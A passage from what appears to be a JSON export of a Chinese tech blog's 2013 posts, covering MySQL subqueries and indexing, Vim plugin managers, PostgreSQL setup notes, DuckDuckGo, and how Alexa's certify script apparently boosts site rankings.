    "id": "3375",
    "body": "還是換回 <a href=\"https://www.google.com/\">Google Search</a> 了...\r\n\r\n因為最近 <a href=\"http://www.nsa.gov/\">NSA</a> 事件愈來愈精彩的關係，有不少人號召跳去 DuckDuckGo 就跑去跟風了，主要是看看 search quality 夠不夠用... 用了一個禮拜後發現有兩個主要的問題：\r\n<ul>\r\n\t<li>資料不夠完整，有些站台沒有被收到 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 裡面。不過比起 DuckDuckGo 剛出來那陣子，感覺已經好很多了... (當初是用兩個小時就放棄了)</li>\r\n\t<li>反應速度太慢，等五秒是常態... 以前沒那麼慢，應該是跟這陣子爆炸性成長有關。</li>\r\n</ul>\r\n所以還是換回 Google 了...\r\n\r\n可以看出 DuckDuckGo 成長的速度愈來愈快了：(出自「<a href=\"https://duckduckgo.com/traffic.html\">DuckDuckGo Direct queries per day (28d avg)</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/D4XOzRK.webp\" /><img src=\"https://i.gslin.com/imgur/D4XOzRK.jpg\" alt=\"\" /></picture>",
    "title": "DuckDuckGo 用一個禮拜後..."
  },
  {
    "id": "3377",
    "body": "官方文件參考 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.5 的「<a href=\"http://dev.mysql.com/doc/refman/5.5/en/subquery-restrictions.html\">Restrictions on Subqueries</a>」這篇。\r\n\r\n直接拿官方的範例：\r\n<blockquote><code>SELECT * FROM t1 WHERE s1 IN (SELECT s2 FROM t2 ORDER BY s1 LIMIT 1);</code></blockquote>\r\n這會出現 subquery 不支援 LIMIT 的錯誤訊息：\r\n<blockquote><code>ERROR 1235 (42000): This version of MySQL doesn't yet support 'LIMIT & IN/ALL/ANY/SOME subquery'</code></blockquote>\r\n如果試著用 <a href=\"https://www.google.com/\">Google</a> 找解法，會找到用 temporary table 解決的方法：\r\n<blockquote><code>SELECT * FROM t1 WHERE s1 IN (SELECT * FROM (SELECT s2 FROM t2 ORDER BY s1 LIMIT 1) AS t);</code></blockquote>\r\n這個方法是可以用啦，但還是讓人很囧啊 XD\r\n\r\n另外一個 subquery 對效能的影響是 SQL-92 定義 <code>WHERE</code> 裡 subquery 的行為：(參考 <a href=\"http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt\">sql1992.txt</a>)\r\n<blockquote>2) Each &lt;subquery&gt; in the &lt;search condition&gt; is effectively executed for each row of T and the results used in the application of the &lt;search condition&gt; to the given row of T. If any executed &lt;subquery&gt; contains an outer reference to a column of T, then the reference is to the value of that column in the given row of T.</blockquote>\r\n因為如此，並不是想像中「先算完 subquery 再拿結果算前面」...\r\n\r\n在「<a href=\"http://www.mysqlperformanceblog.com/2010/10/25/mysql-limitations-part-3-subqueries/\">MySQL Limitations Part 3: Subqueries</a>」也有一些討論可以看 (在 comment 裡)，雖然文章有點舊了... 把這部份 subquery 的結果自己拉出來組 SQL query 可能會比較快。",
    "title": "MySQL subquery 的限制..."
  },
  {
    "id": "3378",
    "body": "<a href=\"https://github.com/tpope/vim-pathogen\">pathogen.vim</a> 的 <a href=\"https://www.kernel.org/pub/software/scm/git/docs/git-submodule.html\">git submodule</a> 用到有點煩了... 改用 <a href=\"https://github.com/gmarik/vundle\">Vundle</a> 避開 pathogen.vim 使用 git submodule 帶來的維護問題...\r\n\r\nVundle 的安裝方法很簡單 (網路上其實也有不少說明了)，先 <code>clone</code> 或是 <code>submodule add</code> 下來：\r\n<blockquote><code>$ git clone https://github.com/gmarik/vundle.git ~/.vim/bundle/vundle\r\n$ git submodule add https://github.com/gmarik/vundle.git .vim/bundle/vundle</code></blockquote>\r\n然後在 <code>.vimrc</code> 內加入：\r\n<blockquote><code>filetype off\r\nset rtp+=~/.vim/bundle/vundle/\r\ncall vundle#rc()\r\nBundle 'gmarik/vundle'\r\nBundle '其他的 github 位置...'\r\nfiletype plugin indent on</code></blockquote>\r\n接下來開 <a href=\"http://www.vim.org/\">vim</a>，跑 <code>:BundleInstall</code> 他就會自己安裝其他的套件了。要增加套件就加到 <code>.vimrc</code> 內再跑一次 <code>:BundleInstall</code> 就可以了。",
    "title": "從 pathogen.vim 換成 Vundle..."
  },
  {
    "id": "3380",
    "body": "其實就是在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下塞兩個檔案進系統而已，一個是字型檔 <a href=\"https://github.com/Lokaltog/powerline/raw/develop/font/PowerlineSymbols.otf\">PowerlineSymbols.otf</a>，另外一個是設定檔 <a href=\"https://raw.github.com/Lokaltog/powerline/develop/font/10-powerline-symbols.conf\">10-powerline-symbols.conf</a>。\r\n\r\n主要還是練習打包 .deb 並且使用 <a href=\"https://launchpad.net/\">Launchpad</a> 放自己包的 package，十多年前也差不多是這樣開始玩 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 的 <a href=\"http://www.freebsd.org/send-pr.html\">send-pr</a> 累積經驗...",
    "title": "把 Powerline 用到的字型包成 ppa..."
  },
  {
    "id": "3383",
    "body": "之前是在<a href=\"http://blog.eddie.com.tw/\">高見龍</a>的文章「<a href=\"http://blog.eddie.com.tw/2012/06/01/screencast-3-vim-plugins/\">爽爽快快學Vim(3) - Vim Plugins</a>」裡看到這個 plugin，高見龍的文章所附上的連結就已經是 <a href=\"https://github.com/ap\">ap</a> 版了，不過前幾天把 <a href=\"http://www.vim.org/\">vim</a> 的套件管理系統換成 <a href=\"https://github.com/gmarik/vundle\">Vundle</a> 後 (參考「<a href=\"http://blog.gslin.org/archives/2013/07/13/3378/%E5%BE%9E-pathogen-vim-%E6%8F%9B%E6%88%90-vundle/\">從 pathogen.vim 換成 Vundle...</a>」這篇)，我是用 <a href=\"https://www.google.com/\">Google</a> 把之前裝過的套件一個一個找回來，就裝到 <a href=\"https://github.com/skammer\">skammer</a> 的版本了。\r\n\r\nskammer 的版本問題在「<a href=\"https://github.com/skammer/vim-css-color/issues/3\">Very slow.</a>」可以看到，懶的看原因的人可以直接看 comment 裡 ap 給的 fork。\r\n\r\n用 Vundle 的人先改掉 <code>.vimrc</code> 的內容，然後重新啟動 vim 後跑 <code>:BundleClean</code> 與 <code>:BundleInstall</code> 就會裝新版了。",
    "title": "用 ap 版本的 vim-css-color"
  },
  {
    "id": "3385",
    "body": "看到「<a href=\"http://www.mysqlperformanceblog.com/2013/07/17/mysql-webinar-advanced-query-tuning/\">MySQL Webinar: Advanced Query Tuning</a>」這個 Webinar，要講的主題看起來不賴：\r\n<blockquote>1. GROUP BY and ORDER BY optimization\r\n2. MySQL temporary tables and filesort\r\n3. Using covered indexes to optimize your queries\r\n4. Loose and tight index scans in MySQL</blockquote>\r\n事後花時間來看投影片應該就夠了 :p",
    "title": "Percona 要講進階的 MySQL Query Tuning..."
  },
  {
    "id": "3386",
    "body": "很久前 (突然找到我在 2006 的文章) 就說 <a href=\"http://www.alexa.com/\">Alexa</a> 只是個參考用的工具... (參考「<a href=\"http://blog.gslin.org/?s=alexa\">Search Results for: alexa</a>」)\r\n\r\n<strong>如果要看結論的人請直接跳到文章尾部</strong>，中間是說明發現的過程。\r\n\r\n昨天 (星期五) 的時候跑去找<a href=\"https://twitter.com/slzzp\">肥睡睡</a>餵食「摩斯吃到飽」，然後 <a href=\"http://blog.xdite.net/\">xdite</a> 也一起亂入，剛好聊到兩件事情。\r\n\r\n第一件事情是要幫友站 <a href=\"http://logdown.com/\">Logdown</a> 測試流量，講了一堆嘴砲方式... (<del>惡搞的方式先拿掉了</del>)\r\n\r\n第二件事情是前天 (星期四) 的時候我發現前公司 <a href=\"http://www.pixnet.net/\">pixnet.net</a> 的 Alexa 從六月開始排名突然爆增，大約從全球 600 名跳到 120 名，台灣排名的部份居然超越了 <a href=\"http://www.youtube.com/\">YouTube</a> (目前 PIXNET 在第五名，YouTube 在第六名)，但到達率、PV、停留時間都沒有大的變化，就問問 xdite 與肥睡睡有沒有什麼想法，是不是最近有上什麼功能是我沒注意到的 XD\r\n\r\n不過餵食席間沒有討論出結果來，吃飽後閃人了... (我不確定肥睡睡有沒有吃飽啦，不過我是不怎麼餓...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1PIWtma.webp\" /><img src=\"https://i.gslin.com/imgur/1PIWtma.jpg\" alt=\"\" /></picture>\r\n\r\n<del>回到家後想說來研究 Logdown 使用的服務，asset 什麼的就先不管好了，到是有一段 code 我之前沒遇過：</del>\r\n\r\n<strong>Update</strong>：結果回到家後研究 Logdown 的服務，就看到 xdite 把 Alexa 的 js 丟上去在玩了：(剛好 xdite 也想到就同時在測了...)\r\n\r\n<code>&lt;!-- Start Alexa Certify Javascript --&gt;\r\n&lt;script type=\"text/javascript\"&gt;\r\n_atrk_opts = { atrk_acct:\"KOI0g1aYS500G0\", domain:\"logdown.com\",dynamic: true};\r\n(function() { var as = document.createElement('script'); as.type = 'text/javascript'; as.async = true; as.src = \"https://d31qbv1cthcecs.cloudfront.net/atrk.js\"; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(as, s); })();\r\n&lt;/script&gt;\r\n&lt;noscript>&lt;img src=\"https://d5nxst8fruw4z.cloudfront.net/atrk.gif?account=KOI0g1aYS500G0\" style=\"display:none\" height=\"1\" width=\"1\" alt=\"\" /&gt;&lt;/noscript&gt;\r\n&lt;!-- End Alexa Certify Javascript --&gt;</code>\r\n\r\n一開始眼殘沒看到 Alexa Certify Javascript 這段文字，第一個想法是「xdite 你沒事自己寫個 analytics service 幹嘛啊，嫌時間太多嗎」，後來轉念一想「啊啊這會不會是什麼服務？」。\r\n\r\n拿 atrk.js 當關鍵字一查就發現是 Alexa 的服務，再回頭來看就發現自己眼殘了... XD\r\n\r\n嘲笑自己三秒後就突然想到「咦，餵食時提到的 Alexa 排名會不會跟這個有關？」\r\n\r\n接下來就是查證的時間了，這時候 <a href=\"http://web.archive.org/\">Internet Archive Wayback Machine</a> 拿來考察變得超好用：「<a href=\"http://web.archive.org/web/*/http://www.pixnet.net/\">http://web.archive.org/web/*/http://www.pixnet.net/</a>」，6/9 的 snapshot 時首頁還沒有 atrk.js，6/20 就有了：\r\n\r\n<code>gslin@GSLIN-DESKTOP [~] [12:02/W3] curl -s http://web.archive.org/web/20130609121320/http://www.pixnet.net/ | g atrk.js\r\ngslin@GSLIN-DESKTOP [~] [12:02/W3] curl -s http://web.archive.org/web/20130620181016/http://www.pixnet.net/ | g atrk.js\r\n(function() { var as = document.createElement('script'); as.type = 'text/javascript'; as.async = true; as.src = \"https://d31qbv1cthcecs.cloudfront.net/atrk.js\"; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(as, s); })();</code>\r\n\r\n另外兩個也有類似現象的網站，分別是 <a href=\"http://www.mobile01.com/\">mobile01.com</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PsvTuyx.webp\" /><img src=\"https://i.gslin.com/imgur/PsvTuyx.jpg\" alt=\"\" /></picture>\r\n\r\n以「<a href=\"http://web.archive.org/web/*/http://www.mobile01.com/\">http://web.archive.org/web/*/http://www.mobile01.com/</a>」的資料來看，2012/12/27 的 snapshot 還沒加入 atrk.js，2013/1/15 的則加入了：\r\n\r\n<code>gslin@GSLIN-DESKTOP [~] [12:06/W3] curl -s http://web.archive.org/web/20121227040802/http://www.mobile01.com/ | g atrk.js\r\ngslin@GSLIN-DESKTOP [~] [12:06/W3] curl -s http://web.archive.org/web/20130115110655/http://www.mobile01.com/ | g atrk.js\r\n&lt;script type=\"text/javascript\" src=\"/web/20130115110655js_/https://d31qbv1cthcecs.cloudfront.net/atrk.js\"&gt;&lt;/script&gt;</code>\r\n\r\n以及 <a href=\"http://ck101.com/\">ck101.com</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nGpszCB.webp\" /><img src=\"https://i.gslin.com/imgur/nGpszCB.jpg\" alt=\"\" /></picture>\r\n\r\n以「<a href=\"http://web.archive.org/web/*/http://ck101.com/\">http://web.archive.org/web/*/http://ck101.com/</a>」的資料來看，4/24 還沒有 atrk.js，4/30 的加入了：\r\n\r\n<code>gslin@GSLIN-DESKTOP [~] [12:07/W3] curl -s http://web.archive.org/web/20130423092213/http://ck101.com/forum.php | g atrk.js\r\ngslin@GSLIN-DESKTOP [~] [12:08/W3] curl -s http://web.archive.org/web/20130504162245/http://www.ck101.com/forum.php | g atrk.js\r\n(function() { var as = document.createElement('script'); as.type = 'text/javascript'; as.async = true; as.src = \"/web/20130504162245/https://d31qbv1cthcecs.cloudfront.net/atrk.js\"; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(as, s); })();</code>\r\n\r\n<strong>所以結論就很簡單啦，如果 Alexa 排名對你是很重要的 KPI，<a href=\"http://www.alexa.com/siteowners/certify\">Alexa Internet - Get Certified Site Metrics</a> 趕快付錢加入試看看吧！XDDD</strong>\r\n\r\n可以看到有三個不同的版本，如果要測試的話 USD$9.99/month 的第一個月還免費，可以先測試看看？(不知道是不是要 USD$149/month 的才有效...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lL8yCdP.webp\" /><img src=\"https://i.gslin.com/imgur/lL8yCdP.jpg\" alt=\"\" /></picture>\r\n\r\nPS：以後看 Alexa 排名還得參考他有沒有掛這東西，好累...",
    "title": "快速衝高 Alexa 排名的方法"
  },
  {
    "id": "3389",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的 blog 上跑出一篇「<a href=\"http://www.mysqlperformanceblog.com/2013/07/19/what-kind-of-queries-are-bad-for-mysql/\">What kind of queries are bad for MySQL?</a>」，分析哪些 SQL query 對 <a href=\"http://dev.mysql.com/\">MySQL</a> 的效能不好...\r\n\r\n內容相當偏激，然後在 comment 引起討論... (文章作者反而就跑去休息了)\r\n\r\n舉例來說，他認為只要有 JOIN 就算是 bad query。作者舉了這樣的 SQL query 為例：\r\n\r\n<code>SELECT t2.value FROM t2 JOIN t1 ON (t1.id=t2.tid) WHERE t1.orderdate=NOW()</code>\r\n\r\n應該要被展開成：\r\n\r\n<code>SELECT t2.value FROM t2 WHERE t2.orderdate=NOW()</code>\r\n\r\n看得出來有重度 denormalize 與 cache 症狀... XD",
    "title": "MySQL 的 SQL Query..."
  },
  {
    "id": "3392",
    "body": "前幾天 <a href=\"http://www.percona.com/\">Percona</a> 寫了篇文章說明自家專有的 Crash-resistant replication (用在 Percona Server 5.1 與 5.5)：「<a href=\"http://www.mysqlperformanceblog.com/2013/07/15/crash-resistant-replication-how-to-avoid-mysql-replication-errors/\">Crash-resistant replication: How to avoid MySQL replication errors</a>」。\r\n\r\n這是 async replication 用在 slave server crash 時的保護機制。\r\n\r\n當 slave 更新資料後，會更新 relay log 寫下「目前 apply 到哪個位置」(預設值是 <code>relay-log.info</code>)，也就可以依照這個資訊計算出 replication lag 的時間。在 mytop 裡看到的 Delay 欄位就是由此算出來的。\r\n\r\n但當 <a href=\"http://dev.mysql.com/\">MySQL</a> 寫入後，但 <code>relay-log.info</code> 還沒更新時當掉，會造成下次啟動時重複 apply 同一筆資料。\r\n\r\n而 Crash-resistant replication 就是把這個資訊寫到 transaction 內，避免這個問題。\r\n\r\n也因此這個功能只有 InnoDB 類的 Engine 才有用，MyISAM 仍然是不受 Crash-resistant replication 保護的。\r\n\r\n要打開這個功能也很簡單，只要 <code>my.cnf</code> 設起來就好了，設定說明可以參考原文。",
    "title": "Percona 的 Crash-resistant replication"
  },
  {
    "id": "3393",
    "body": "CSS Zen Garden 是相當經典的站：「<a href=\"http://www.csszengarden.com/\">CSS Zen Garden: The Beauty in CSS Design</a>」，在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到復活了 :p\r\n\r\n可以用手機開看看，另外也可以試著把瀏覽器大小切到 1024x768 看看 :p",
    "title": "CSS Zen Garden 復活..."
  },
  {
    "id": "3394",
    "body": "<a href=\"http://www.php.net/\">PHP</a> 5.5 計畫把 <a href=\"http://php.net/manual/en/book.opcache.php\">OPcache</a> 變成內建功能，其他版本可以透過 <a href=\"http://pecl.php.net/\">PECL</a> 的 <a href=\"http://pecl.php.net/package/ZendOpcache\">ZendOpcache</a> 裝進去用。\r\n\r\n先把 blog 換掉，用預設值跑看看效果如何好了... 如果沒什麼問題的話再來調整效能 :o",
    "title": "把 APC 換成 Zend 的 OPcache 測試..."
  },
  {
    "id": "3395",
    "body": "<a href=\"http://www.linode.com/\">Linode</a> 決定調大空間：「<a href=\"https://blog.linode.com/2013/07/25/storage-space-doubled/\">Storage Space Doubled!</a>」。\r\n\r\n所以現在 USD$20/month 就可以在東京有 1GB RAM、48GB storage 以及 2TB 的 outbound bandwidth 了。如同往常 (之前從 20GB 變成 24GB)，關機後直接 resize，重開後就生效了 :p",
    "title": "Linode 調大儲存空間..."
  },
  {
    "id": "3396",
    "body": "在 <a href=\"http://www.debian.org/\">Debian</a> 上只有 <a href=\"http://httpd.apache.org/mod_fcgid/\">mod_fcgid</a> 可以用，沒有 <a href=\"http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html\">mod_fastcgi</a>，兩者設定方式不一樣，花了一些時間測試...\r\n\r\n最後是參考「<a href=\"http://perceptionistruth.com/2011/03/debian-apache2-virtualhosts-fastcgi-and-php5/\">Debian, apache2, virtualhosts, FastCGI and PHP5</a>」這篇文章的說明，先弄到「會動」的情況。\r\n\r\n首先是把該裝的裝起來 (<a href=\"http://packages.debian.org/apache2-mpm-worker\">apache2-mpm-worker</a>、<a href=\"http://packages.debian.org/libapache2-mod-fcgid\">libapache2-mod-fcgid</a>、<a href=\"http://packages.debian.org/php5-cgi\">php5-cgi</a>)，接下來在 <code>/etc/apache2/sites-available/default</code> 裡面修改兩個部份。\r\n\r\n首先是針對 <code>/var/www</code> 的 <code>Options</code> 加上 <code>ExecCGI</code>。另外找個地方加上：\r\n\r\n<code>AddHandler fcgid-script .php\r\nFCGIWrapper /usr/lib/cgi-bin/php5 .php</code>\r\n\r\n然後重跑 apache 就會動了，放個 <code>phpinfo();</code> 的程式到 <code>/var/www</code> 下測試就可以確認了。",
    "title": "Debian 上 Apache 2.2 設定 FastCGI 模式 PHP 的方式..."
  },
  {
    "id": "3399",
    "body": "先前在「<a href=\"http://blog.gslin.org/archives/2013/07/19/3385/percona-%E8%A6%81%E8%AC%9B%E9%80%B2%E9%9A%8E%E7%9A%84-mysql-query-tuning/\">Percona 要講進階的 MySQL Query Tuning...</a>」提到 <a href=\"http://www.percona.com/\">Percona</a> 所辦的 Webniar「Advanced MySQL Query Tuning」的投影片放出來了：「<a href=\"http://www.percona.com/resources/technical-presentations/advanced-mysql-query-tuning-percona-mysql-webinar\">Advanced MySQL Query Tuning</a>」。\r\n\r\n這份內容需要 B+Tree 操作的背景知識才能了解。裡面講了很多 <code>GROUP BY</code> 與 <code>ORDER BY</code> 混用時的 index 技巧，以及各種奇怪的 hack 方式。\r\n\r\n內容很有用，能吸收多少就看個人造化 :p",
    "title": "Percona 的「Advanced MySQL Query Tuning」..."
  },
  {
    "id": "3401",
    "body": "<a href=\"http://twitter.github.io/bootstrap/\">Bootstrap</a> 3 RC1 放出來了。\r\n\r\n官方在文件裡推薦使用 <a href=\"https://www.netdna.com/\">NetDNA</a> 提供的 CDN Hosting，不過 NetDNA 給的點沒有很好，台灣與日本都會到美西。如果很要求速度的話 (尤其是第一次沒有 cache 時瀏覽的速度)，還是放一份到自家的 server 或是自家的 CDN Hosting 上吧？\r\n\r\n最大的改變在於扁平化，等一下就來測試看看感覺如何...",
    "title": "Bootstrap 3 RC1"
  },
  {
    "id": "3402",
    "body": "純粹是筆記...\r\n\r\n對於架設 server 的文件可以參考 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 這份「<a href=\"https://help.ubuntu.com/community/PostgreSQL\">PostgreSQL - Community Ubuntu Documentation</a>」，雖然 <a href=\"http://www.debian.org/\">Debian</a> 官方也有一份「<a href=\"http://wiki.debian.org/PostgreSql\">PostgreSql - Debian Wiki</a>」，不過沒講到遠端這塊...\r\n<ul>\r\n\t<li>官方有提供 <a href=\"http://www.debian.org/\">Debian</a>/<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 用的 apt repository，參考官方的 wiki 頁面「<a href=\"https://wiki.postgresql.org/wiki/Apt\">Apt - PostgreSQL wiki</a>」。</li>\r\n\t<li><a href=\"http://www.debian.org/releases/wheezy/\">Debian wheezy</a> 的 postgresql-server 目前是 9.1，要用 9.2 可以透過 apt 版本安裝。</li>\r\n\t<li>9.1 與 9.2 的差異可以參考「<a href=\"http://www.postgresql.org/docs/9.2/static/release-9-2.html\">PostgreSQL: Documentation: 9.2: Release 9.2</a>」，資料型態的部份多了 JSON，效率上多了 covered index，管理上多了多層 replication。</li>\r\n</ul>\r\n設定的部份：\r\n<ul>\r\n\t<li>要讓遠端可以存取有兩個地方要開，一個是 <code>postgresql.conf</code> 的 <code>listen_addresses</code> 改成 <code>\"*\"</code>，另外一個是增加 <code>pg_hba.conf</code> 遠端連線的權限。</li>\r\n\t<li>用 <code>CREATE USER test WITH PASSWORD 'test_password';</code> 以及 <code>CREATE DATABASE test WITH OWNER = test;</code> 把基本的東西建好。</li>\r\n</ul>\r\n然後把 firewall 打開，接下來就可以從其他台連進去了。",
    "title": "PostgreSQL 筆記..."
  },
  {
    "id": "3403",
    "body": "官方的公告在「<a href=\"http://aws.typepad.com/aws/2013/07/amazon-cloudfront-route-53-expand-to-india.html\">Amazon CloudFront &amp; Route 53 Expand to India</a>」這篇，一次增加兩個點，<a href=\"https://zh.wikipedia.org/wiki/%E5%AD%9F%E4%B9%B0\">孟買</a> (Mumbai) 與<a href=\"https://zh.wikipedia.org/wiki/%E9%87%91%E5%A5%88\">清奈</a> (Chennai)。\r\n\r\nCDN 頻寬的部份比香港、新加坡、南韓還低... 被放在 Price Class All 與 Price Class 200。所以量很大？還是因為其他原因？澳洲也才放一個雪梨...\r\n\r\n咦，俄羅斯好像一直被遺忘...",
    "title": "AWS CloudFront 與 Route53 增加印度機房..."
  },
  {
    "id": "3404",
    "body": "之前不知道從哪邊學到錯的東西... 實驗後發現搞錯了。對 <a href=\"http://dev.mysql.com/\">MySQL</a> 的 VARCHAR 欄位下 index 所實際佔用的空間仍是實際大小，而非最大長度。\r\n\r\n測試方法是建立表格，schema 是 <code>CREATE TABLE test (id INT UNSIGNED PRIMARY AUTO_INCREMENT, data VARCHAR(255)) ENGINE=InnoDB;</code>，在 <code>inndo_per_file</code> 打開的情況下測試。\r\n\r\n這是 1M rows，其中 data 都是 \"<code>a</code>\"，這是 <code>OPTIMIZE TABLE</code> 後的結果：(以下每個都有 <code>OPTIMIZE TABLE</code>)\r\n\r\n<pre>-rw-rw---- 1 mysql mysql     8586 Jul 30 22:42 test.frm\r\n-rw-rw---- 1 mysql mysql 37748736 Jul 30 22:42 test.ibd</pre>\r\n\r\n這是 <code>ADD INDEX (data)</code> 後的結果：\r\n\r\n<pre>-rw-rw---- 1 mysql mysql     8586 Jul 30 22:46 test.frm\r\n-rw-rw---- 1 mysql mysql 50331648 Jul 30 22:46 test.ibd</pre>\r\n\r\n一樣是 1M rows，但 data 都是 \"<code>a</code>\" * 100 (一百個 <code>a</code>) 的結果：\r\n\r\n<pre>-rw-rw---- 1 mysql mysql      8586 Jul 30 23:14 test.frm\r\n-rw-rw---- 1 mysql mysql 146800640 Jul 30 23:15 test.ibd</pre>\r\n\r\n這是 <code>ADD INDEX (data)</code> 後的結果：\r\n\r\n<pre>-rw-rw---- 1 mysql mysql      8586 Jul 30 23:21 test.frm\r\n-rw-rw---- 1 mysql mysql 260046848 Jul 30 23:23 test.ibd</pre>\r\n\r\n實驗可以看出來 MySQL 的確是依照內容的實際長度索引，而非用欄位的最大長度做。",
    "title": "MySQL 對 VARCHAR 的 Index 空間佔用的問題..."
  },
  {
    "id": "3407",
    "body": "兩年前就用過 <a href=\"https://www.zerigo.com/\">Zerigo</a> (在「<a href=\"http://blog.gslin.com/2011/04/zerigo-geodns.html\">用 Zerigo 的 GeoDNS 服務</a>」這篇有提到)，最近剛好有需求要用，又拿出來複習了。\r\n\r\n在「<a href=\"http://www.zerigo.com/docs/managed-dns\">Support - Zerigo DNS</a>」頁面上可以看出支援哪些功能，以及設定的方法。GeoDNS 的部份可以支援幾個不同層級：\r\n<ul>\r\n\t<li>美國可以再切成四個區域。</li>\r\n\t<li>依照國家與地區切割。</li>\r\n\t<li>依照洲別切割。</li>\r\n\t<li>最後，當然可以設預設值。</li>\r\n</ul>\r\nGeoDNS 需要 DNS Pro 的版本才能用，DNS Pro 4 的版本是 USD$20/month，包含了 4m DNS query，平均每天可以接受約 13 萬次的查詢。超額費用是 USD$4.9 (每 1m DNS query)，如果你仔細算，如果只是為了 DNS query 而升級，更高階的方案反而比較貴 XDDD 所以，如果用不到那麼多 domain 以及 hosts 時，就乖乖用 DNS Pro 4，DNS query 超額部份再付費買...\r\n\r\n這樣就可以混 domain 使用，像是把 <a href=\"http://www.akamai.com/\">Akamai</a>、<a href=\"http://www.cdnetworks.com/\">CDNetworks</a> 以及 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 以及自家的 cache server 混在一起用。\r\n\r\n因為在台灣有 server，所以台灣的使用者就導到自家 cache server 上，然後美西在 <a href=\"http://egihosting.com/\">EGIHosting</a> 有租 server 當 cache，所以就把美西導到 EGIHosting 的 server 上，然後非洲與南美上 Akamai，其他地區上 CDNetworks。",
    "title": "用 Zerigo 的 GeoDNS 混合不同家的 CDN 服務..."
  },
  {
    "id": "3412",
    "body": "<a href=\"http://dev.mysql.com/\">MySQL</a> InnoDB 指的 Partial Index 是：\r\n<blockquote>An index that represents only part of a column value, typically the first N characters (the prefix) of a long VARCHAR value.</blockquote>\r\n而 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 指的 Partial Indexes 是：\r\n<blockquote>A partial index is an index built over a subset of a table; the subset is defined by a conditional expression (called the predicate of the partial index). The index contains entries only for those table rows that satisfy the predicate. Partial indexes are a specialized feature, but there are several situations in which they are useful.</blockquote>\r\n先講結論，PostgreSQL 可以做掉 MySQL InnoDB 的 Partial Index 想做的事情，而且還更多。\r\n\r\nMySQL InnoDB 的 Partial Index 是設定對 prefix index (對字串前面的 n bytes)，可能的情況是 <code>CHAR(32)</code> 只對前面 16 bytes 索引。\r\n\r\nPostgreSQL 的 Partial Indexes 受益於許多方面而更強大。因為有 Indexes on Expressions，所以除了可以像 MySQL 對 prefix 索引外，也可以索引 suffix，甚至是索引透過 string function 得出來的值。\r\n\r\n像是 PostgreSQL 可以設定「我只要索引一月一日出生的人的 username」：\r\n\r\n<code>CREATE INDEX test_index ON test_table (username) WHERE birth_month = 1 AND birth_day = 1;</code>\r\n\r\n在 MySQL 裡需要反正規化後下 index，或是拆出另外一個表格再下 index 的問題，在善用 PostgreSQL 這些功能就可以省下不少功夫...",
    "title": "MySQL InnoDB 與 PostgreSQL 的 Partial Index(es) 是不一樣的東西..."
  },
  {
    "id": "3423",
    "body": "1.5 版的 <a href=\"http://www.freshports.org/ports-mgmt/portconf/\">portsconf</a> 只能處理等號形式：\r\n\r\n<code>lang/php5*: WITH_FPM=yes</code>\r\n\r\n前幾天發現這對於某些設定很難處理，所以就在 <a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/181119\">ports/181119</a> 送出 patch，讓 portconf 可以處理 <code>+=</code> 的用法，讓設定更彈性。\r\n\r\n結果發現作者就順便把去年十月的 <a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/172355\">ports/172355</a> 債也還掉... 去年十月這個 pr 早就處理 <code>+=</code> 需求，還修正變數名稱需要支援 <code>-</code> 與 <code>+</code> 的問題。",
    "title": "FreeBSD 的 portconf 新功能..."
  },
  {
    "id": "3426",
    "body": "<a href=\"http://www.vim.org/\">Vim</a> 終於出 7.4 版了 XDDD\r\n\r\nVim 7.3 最後出到 1314 版，第一次破千啊... (Vim 7.5 或是 Vim 8.0 不知道會等到什麼時候...)",
    "title": "Vim 7.4"
  },
  {
    "id": "3428",
    "body": "上個禮拜的新聞，<a href=\"https://en.wikipedia.org/wiki/John_D._Carmack\">John Carmack</a> 加入 <a href=\"http://www.oculusvr.com/\">Oculus</a>：「<a href=\"http://www.oculusvr.com/blog/john-carmack-joins-oculus-as-cto/\">John Carmack Joins Oculus as CTO</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/0nQlBYQ.jpg\" alt=\"\" />\r\n\r\n身為 <a href=\"http://www.idsoftware.com/\">id Software</a> 創辦人 (以及電玩遊戲領域超重量級人物)，另外也是 Open Source 的推廣者，近年來把心力放在 VR 技術上 (不論是軟體還是硬體)，加入 Oculus VR 明顯是繼續往目前的理想邁進... (順便賺賺麵包錢)，而這位大師能夠帶給 VR 領域什麼樣的刺激，接下來這幾年就很值得看看了...\r\n\r\n喔對，每次提到 John Carmack，當然就要提 1995 年 28 吋 1920x1080 的螢幕：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Q3U1s.jpg\" alt=\"\" />",
    "title": "John Carmack 加入 Oculus"
  },
  {
    "id": "3434",
